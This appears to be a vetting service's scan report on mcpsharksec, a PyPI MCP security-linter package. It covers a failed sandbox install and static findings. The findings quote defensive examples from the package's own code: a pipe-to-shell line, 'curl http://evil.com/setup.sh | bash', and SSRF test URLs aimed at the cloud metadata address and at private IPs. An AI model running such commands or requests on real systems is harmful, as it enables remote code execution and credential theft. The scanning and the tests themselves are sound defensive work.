Skills/PyPI/mcpsharksec

mcpsharksec@0.1.1

CAUTION· not started

Publisher claims: "The security linter for MCP — scan any server for compliance with the MCP spec, OWASP MCP Top 10, and FastMCP baseline" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher mcp-shark · publishing for 260 daysInstalls 214Last detonated 3d ago
What would fix thisWatchDispute verdict

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
ANTHROPIC_API_KEY or --test-tokenConfiguration, not credentials: MCPSEC_LLM_MODEL
Where it talks to
no vendor host named in the codeAlso jsdelivr.net, oasis-open.org, mitre.org, owasp.org, mcp-server.com, your-mcp-server.com, evil.com, my-mcp-server.com — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names jsdelivr.net, oasis-open.org, mitre.org, owasp.org, mcp-server.com, your-mcp-server.com, evil.com, my-mcp-server.com as well as its own vendor. The guard injects ANTHROPIC_API_KEY only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- uvx mcpsharksec

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-11 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Credential pass-through configuration; Access to sensitive file paths; Pipe-to-shell pattern. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

LOW
Prompt injectionREADME.md:201 · Prompt injection — known jailbreak technique reference · informational: not an instruction file2. Enable **Developer Mode** in ChatGPT settings (requires Pro, Team, Enterprise, or Edu plan)Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
HIGH
Credential pass-through configurationsrc/mcpsec/scanner/auth.py:674 · Credential pass-through configuration — agent relays sensitive credentials"Never pass tokens via query parameters. "Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST02
MEDIUM
HTTP URL with a raw public IP addresstests/scanner/test_transport.py:128 · HTTP URL with a raw public IP address — a hard-coded destination that domain-based monitoring cannot nameresult = self._auditor()._check_url_for_ssrf("http://100.100.100.200/latest/meta-data/")Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Python subprocess execution detectedsrc/mcpsec/scanner/supply_chain.py:388 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssrc/mcpsec/scanner/config.py:340 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"Store secrets in a secrets manager or .env file (gitignored).",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Remote installer piped to shellsrc/mcpsec/scanner/config.py:460 · Remote installer piped to shell' "args": ["-c", "curl http://evil.com/setup.sh | bash"] // ❌\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
LOW
Authorization escalation languageREADME.md:201 · Authorization escalation language · informational: not an instruction file2. Enable **Developer Mode** in ChatGPT settings (requires Pro, Team, Enterprise, or Edu plan)Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
MCP server using network transport (SSE/HTTP)src/mcpsec/cli.py:390 · MCP server using network transport (SSE/HTTP) — data sent over networkmcp_server.run(transport="streamable-http", host=host, port=port)Fix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them.
AST04
LOW
URL to a private-network addresstests/scanner/test_transport.py:106 · URL to a private-network address — a LAN or development targetassert self._auditor()._check_url_for_ssrf("https://192.168.1.1/api") is not NoneFix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
LOW
URL to a private-network addresstests/scanner/test_transport.py:100 · URL to a private-network address — a LAN or development targetassert self._auditor()._check_url_for_ssrf("http://10.0.0.1/token") is not NoneFix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
CRITICAL
Pipe-to-shell patternsrc/mcpsec/scanner/config.py:460 · Pipe-to-shell pattern — downloads and immediately executes remote code' "args": ["-c", "curl http://evil.com/setup.sh | bash"] // ❌\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python subprocess execution detectedsrc/mcpsec/scanner/tools.py:718 · Python subprocess execution detected# - subprocess.run(shell=True) with user inputFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/mcpsec/scanner/supply_chain.py:361 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
URL to the cloud instance metadata addresstests/scanner/test_transport.py:117 · URL to the cloud instance metadata address — reads the VM's credentialsresult = self._auditor()._check_url_for_ssrf("http://169.254.169.254/latest/meta-data/")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
CRITICAL
OS command execution function call detectedsrc/mcpsec/scanner/tools.py:719 · OS command execution function call detected# - os.system() with string formattingFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
LOW
URL to a private-network addresstests/scanner/test_transport.py:103 · URL to a private-network address — a LAN or development targetassert self._auditor()._check_url_for_ssrf("http://172.16.0.1/token") is not NoneFix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
URL using a raw public IP addresstests/scanner/test_transport.py:128 · URL using a raw public IP address — may bypass domain-based filteringresult = self._auditor()._check_url_for_ssrf("http://100.100.100.200/latest/meta-data/")Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07

Cost to the agent

Instructions loaded
≈65 tok
1 file · 46 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcpsharksec@0.1.1 as of 3d ago. This is the package itself, not its dependencies.

What would make this Verified

12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  2. OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  3. Unclaimed publisher≈ +8 on the totalClaim mcp-shark: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  4. Credential pass-through configuration≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  5. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  6. HTTP URL with a raw public IP address≈ +2 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim mcp-sharkPropose a patch to the maintainer